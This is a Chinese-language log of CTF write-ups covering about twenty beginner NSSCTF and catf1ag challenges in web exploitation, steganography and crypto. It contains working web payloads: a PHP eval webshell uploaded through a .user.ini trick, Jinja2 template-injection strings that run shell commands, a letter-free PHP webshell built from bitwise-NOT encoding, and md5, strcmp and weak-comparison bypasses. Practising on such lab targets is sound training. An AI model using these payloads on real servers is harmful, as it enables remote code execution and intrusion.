CTF记录
1. [SWPUCTF 2022 新生赛]android
用jadx打开,然后搜索NSS关键字
NSSCTF{a_simple_Android}
2. [SWPU 2024 新生引导]ez_SSTI
模板注入题目,直接焚靖可以秒了
填入数据 ls /
然后 cat /flag即可
获取成功
NSSCTF{2111e7ad-97c5-40d5-9a3b-a2f657bd45e8}
3.[SWPUCTF 2024 秋季新生赛]The future
直接?file=/flag 即可
4.[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件
根据题目名称:提示怎么多了个没用的php文件
同时根据题目描述:notion.php 是一个没啥用的php文件,不知道被设计出来是干什么的,出题人傻啦?
可以利用.user.ini
文件
第一步:上传.user.ini
创建一个.user.ini
文件,写入如下内容:
auto_prepend_file = 1.png
第二步:上传一句话木马(1.png)
创建一个1.txt文件,文件内容为如下内容,之后后缀改成png
<?php
@eval($_POST['x']);
phpinfo();
?>
第三步:使用蚁剑连接
使用蚁剑连接:http://node6.anna.nssctf.cn:28920/uploads/notion.php
NSSCTF{d2056ace-365d-4a90-8c86-3d98f8884b37}
5.[SWPUCTF 2024 秋季新生赛]PHP躲猫猫
get方式传参
post传参
进去到 /getfile.php 那里
经典的md5绕过与文件包含题目
get /getfile.php?CTF=s878926199a&&ATM=s1665632922a
post NSS=/f1ag
拿下
6.[NSSCTF 2022 Spring Recruit]办公文件里的秘密
下载附件为excel文档,进行填色
尝试修改文件后缀名,发现colors压缩包需要爆破
尝试爆破,爆破成功,密码为87654321
成功打开
NSSCTF{youknowtheoffice}
7. [SWPUCTF 2022 新生赛]Capture!
修改高度得part1
再LSB隐写一把梭
zsteg -a flag.png #一把梭
猜测base64,无果
再颠倒顺序即可解出
8. [SWPUCTF 2023 秋季新生赛]咱们玩个游戏吧
下载附件,发现8个图片
新建个ppt然后导入即可,然后拼接
扫一下
发现是一串16进制的字符串,然后url解密即可
NSSCTF{mountains_and_seas_for_you}
9. [SWPUCTF 2022 新生赛]Cycle Again
打开,一张图片,一个压缩包
图片丢进随波逐流中
发现第一部分的flag NSSCTF{41d769db-
丢进b神的工具中
爆出第二段flag
9f5d-455e-a458-8012ba3660f3}
两段进行拼接
NSSCTF{41d769db-9f5d-455e-a458-8012ba3660f3}
10.easy_usr
分析
进入地址之后,是一段php代码
<?php
//error_reporting(0);
show_source('./index.php');
class flag_in_there{
public $name;
public $age;
public function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function get_flag(){
echo "hello,i'm '$this->name',now '$this->age' years";
}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
$un = $_GET['str'];
if($ser == $un){
include('flag.php');
echo $flag;
}else{
echo "你真棒~";
}
?>
分析代码发现,只要让变量ser=un
就可以显示flag。
un
可以从手动输入,ser
是一个实例序列化。因此可以运行下下面代码,打印一下ser的值就可以。
class flag_in_there{
public $name;
public $age;
public function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function get_flag(){
echo "hello,i'm '$this->name',now '$this->age' years";
}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
echo $ser
得到下面的结果
O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}
然后构造url:
http://subject.catf1ag.cn:49640/index.php?str=O:13:“flag_in_there”:2:{s:4:“name”;s:5:“vfree”;s:3:“age”;s:2:“19”;}
显示flag:catf1ag{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}
11.json
进入网址显示:
<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){
echo $flag;
}else{
echo "<h3>404 not found</h4>";
}
?>
404 not found
看代码,首先用到了json_decode
函数,说明key应该是一个json类型字符串。
于是构造key={"flag":"0"}
,发现不行。
另外,需要构造的flag字段与变量flag相等。想到了php的弱类型比较。
php中弱类型对数据的类型要求并不严格,可以让数据类型互相转换。
== 和 ===的区别
php中其中两种比较符号:
==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较
== 为松散比较 只比较值,不比较数据类型
若字符型值开头为数字,转为数字;
若开头不为数字,为 null 弱比较与 0 相等。)
"abc123"==123 => false
"abc123"==0 => true
"123abc"==123 => true
于是构造key={"flag":0}
得到flag:catf1ag{95rzgmd8ji6uqaeycfs2wno4lt1kp7v3hbx0}
12.strcmp
<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){
if(strcmp($init_str,$str)==0){
echo $flag;
}else{
echo "no";
}
}else{
echo "nonono";
}
?> no
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。但是我们仍然可以使用这个漏洞对使用老版本php的网站进行渗透测试
对于这段代码,我们能用什么办法绕过验证呢, 只要我们$_GET[‘str’]是一个数组或者一个object即可,但是上一个问题的时候说到过,只能上传字符串类型,那我们又该如何做呢。
其实php为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]的name(就是$_GET中的str),当作一个名字为xxx的数组构造
?str[]=1
13.不等于0
md5()只对字符加密,对数组加密返回False
所以传输num[]=1既可
14.easy_flask 模板注入问题
打一个{{7*7}}
说明存在
{{config}}
成功解决
15.easy_flask2
尝试一波发现在 /flag下
?cmd={{lipsum.__globals__.__builtins__.__import__("os").popen("ls").read()}}
?cmd={{lipsum.__globals__.__builtins__.__import__("os").popen("cat flag").read()}}
然后得出flag
16.又又不能相等
尝试一波数组绕过 ?num=[] 发现页面无回显内容
在响应头里查看
也可以用科学计数法进行绕过
?num=1e12
找flag方法同理
17.哦豁还有一办呢
查看响应头
发现响应头a
Y2F0ZjFhZ3tzMTBkdm1vOWsyY2hwa
查看源代码 发现flagb
两段进行拼接
Y2F0ZjFhZ3tzMTBkdm1vOWsyY2hwamw0d2d6bjZ5YmEzNzg1dHV4cmllcWZ9
catf1ag{s10dvmo9k2chpjl4wgzn6yba3785tuxrieqf}
18.xor
打开题目
1、推出异或的参数
一般结果都是‘flag{’开头,用‘flag{’和密文前5个字符异或,推出字符‘GAMEG’,推测是GAME循环异或
2、写脚本测试
s=‘!-,"<#}|!#}q#lt#w#`qpw.h~wyvjru#"x.p$s/v%<’
x=‘GAME’
result=‘’
for i in range(len(s)):
result += chr(ord(s[i]) ^ ord(x[i % 4]))
print(result)
得出flag
进行运行
flag{b09fb04d-9f0b-476c-9643-38fe9c5c2b3b}
19.bypass_wakeup
分析过程
运行出来
20.无字符webshell
看到过滤了大小写字母和数字
采用异或绕过或者取反绕过
进入显示:
<?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){
die("giaogiaogiao!!!");
}
else {
eval($cmd);
}
highlight_file(__FILE__)
?>
过滤了字母和数字,要求不能用字母和数字构造出php执行函数。
如何构造无字符webshell:https://blog.csdn.net/m0_59049258/article/details/132381714
函数名取反绕过正则。
使用php打印函数名取反的url编码
<?php
$a = "system";
echo urlencode(~$a);
?>
输出:
%8C%86%8C%8B%9A%92
用类似的方法,找出你想要执行的函数名url编码
%8C%86%8C%8B%9A%92 // system 的取反url编码
%93%8C // ls 的取反url编码
%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%DD%D5%99%93%9E%98%D5%DD // find / -name "*flag*" 的取反url编码
%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B // cat /flag.txt 的取反url编码
有了这些编码,就可以构造payload了。
例如,想要执行system(ls),可以构造:
$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);
接下来开始解题:
首先执行ls查看下文件
http://subject.catf1ag.cn:45499/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);
显示:
Dockerfile docker-compose.yml index.php <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){
die("giaogiaogiao!!!");
}
else {
eval($cmd);
}
highlight_file(__FILE__)
?>
发现没有flag的信息,于是,尝试搜索下falg文件,尝试执行find / -name "*flag*"
http://subject.catf1ag.cn:45499/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%DD%D5%99%93%9E%98%D5%DD;$_($__);
显示:
/sys/devices/pnp0/00:04/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platform/serial8250/tty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250/tty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/eth0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu1/domain0/flags /proc/kpageflags /flag.txt <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){
die("giaogiaogiao!!!");
}
else {
eval($cmd);
}
highlight_file(__FILE__)
?>
找到了flag文件,查看内容,执行cat /flag.txt
得到flag:
catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc} <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){
die("giaogiaogiao!!!");
}
else {
eval($cmd);
}
highlight_file(__FILE__)
?>
catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc}
21.舔狗日记
打开
随便点击一下
然后在后面添加经过base64编码的东西